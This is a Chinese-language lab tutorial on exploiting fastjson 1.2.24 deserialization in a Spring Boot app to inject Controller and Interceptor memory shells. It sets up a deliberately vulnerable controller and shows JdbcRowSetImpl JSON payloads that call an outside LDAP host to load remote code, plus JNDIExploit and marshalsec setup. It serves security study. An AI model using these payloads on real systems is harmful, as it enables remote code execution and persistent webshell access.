反序列化注入内存马
Fastjson靶场搭建
我们在前面的springboot项目上引入fastjson,模拟一下漏洞环境
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
新建一个FastJsonController控制器,指定post请求方式,触发恶意代码
package org.example.springmemory.controller;
import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class FastJsonController {
@ResponseBody
@RequestMapping(value = "/FastJson", method = RequestMethod.POST)
public String test(@RequestBody String vul){
System.out.println(vul);
JSON.parseObject(vul);
return vul;
}
}
使用简易payload测试效果,可以看见是没有问题的
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0
POST /FastJson HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 273
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.1.8:1389/Basic/Command/calc",
"autoCommit":true
}
}
Controller内存马
Class编写
由于前面在分析该内存马的时候,都是在java文件里面编写的,不像《Tomcat内存马》使用jsp编写,还需要转换语法。这里直接在项目根目录新建一个文件,把代码copy过来即可
这里用的是addController2代码,已经补充在 Controller小节,一开始我是用的addController代码,执行不成功,被他坑了好久,后面debug才发现问题所在
先把恶意代码复制过来,这里不用内部类了,直接把方法写在本类
老样子,在类的static里面写,用try/catch捕获异常
复制过来记得把类名改一下
下面两个地方修改即可。没有用内部类,那个exec方法现在就在本类,所以类方法所在类是本类,包括下面new的时候也是一样,new本类。
启动项目,编译没有问题,这里我提前访问了一下shell地址,确保不是等一下打不是缓存,现在是没有这个路径的
运行内存马
我们找到ControllerMemory文件所在目录启动http服务,用marshalsec工具挂载ldap服务
发送payload,看见所有请求正常
执行成功了
Interception内存马
Class编写
新建一个InterceptorMemory类,继承HandlerInterceptor类,把前面的ShellInterception类代码复制过来
在InterceptorMemory类里面写入执行恶意代码部分,我们的static部分,把controller下的ShellInterceptor的执行部分复制过来
项目能正常启动并且也编译成功了
运行内存马
我们找到InterceptorMemory文件所在目录启动http服务,用marshalsec工具挂载ldap服务
发送payload,看见所有请求正常
POST /FastJson HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 272
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.1.8:9999/InterceptorMemory",
"autoCommit":true
}
}
执行成功了
参考&鸣谢
https://goodapple.top/archives/1355#leftbar_tab_catalog
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)